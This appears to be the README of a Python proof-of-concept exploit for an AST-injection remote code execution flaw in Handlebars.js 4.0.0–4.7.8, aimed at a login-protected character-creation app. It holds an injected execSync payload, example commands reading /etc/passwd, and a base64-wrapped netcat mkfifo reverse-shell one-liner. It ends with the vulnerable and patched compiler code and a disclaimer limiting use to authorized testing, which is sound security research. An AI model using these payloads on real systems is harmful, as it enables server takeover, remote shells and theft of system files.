
Python POC, Exploit for Handlebars.js AST Injection RCE, Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.
Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.
CVE-2026-33937 is a type confusion vulnerability in Handlebars.js. The Handlebars.compile() function accepts both a template string and a pre-parsed AST object as input. When an attacker passes a crafted AST object, the compiler's NumberLiteral visitor inserts the node's value field verbatim into the generated JavaScript function body without any sanitization. Calling render() on the result executes attacker-controlled code inside the Node.js process.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Arguments
--url — Base URL of the target, e.g. (required)http://hello.veer/--username — Login email address (required)--password — Login password (required)--command — OS command to execute, default is id (optional)Examples
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
The script performs a full login before exploiting. It first sends a GET request to /login to scrape the hidden _csrf token from the form, then submits that token along with the provided email and password as a form-encoded POST to /login. On success the server returns a 302 redirect to /dashboard and sets the dz.sid session cookie which is used for all subsequent requests.
A fresh CSRF token is fetched automatically before each POST request because the app's CSRF middleware requires one on every mutating operation.
The application exposes POST /character which accepts Content-Type: application/json. This route creates a new D&D character and, when campaign_id is provided, passes the campaign_message field directly to Handlebars.compile() on the server:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
When the request body is JSON, campaign_message can be a nested object (the AST) rather than a string, bypassing any form-layer string validation. The campaign_id field causes the server to store the rendered result as a campaign log message, which is then readable at GET /campaign/1 — giving the attacker out-of-band command output.
The exploit uses the NumberLiteral combined with the lookup helper.
Normal compilation of {{lookup this 1}} produces:
env.helpers.lookup(this, 1, {options})
The injected NumberLiteral.value replaces the 1 with:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
The emitted JavaScript becomes:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
When render() is called, execSync() fires and its stdout is returned as the expression value, which is stored as the campaign message.
Commands are wrapped internally as /bin/sh -c 'cmd 2>&1' so that commands with spaces, pipes, and redirects work correctly and stderr is captured alongside stdout.
The script records the number of campaign messages before sending the payload. After the POST it fetches /campaign/1 again and slices messages[before_count:] to isolate the newly added entry. This approach correctly handles cases where the same command has been run before, since a set-based comparison would deduplicate identical outputs and miss the new result.
Inside Handlebars.js javascript-compiler.js, the vulnerable code is:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
Version 4.7.9 adds a type check at the compile() entry point that rejects any non-string input before the code generator is ever reached:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
This repository is intended solely for security research and education. Only use this exploit against systems you own or have explicit written authorization to test.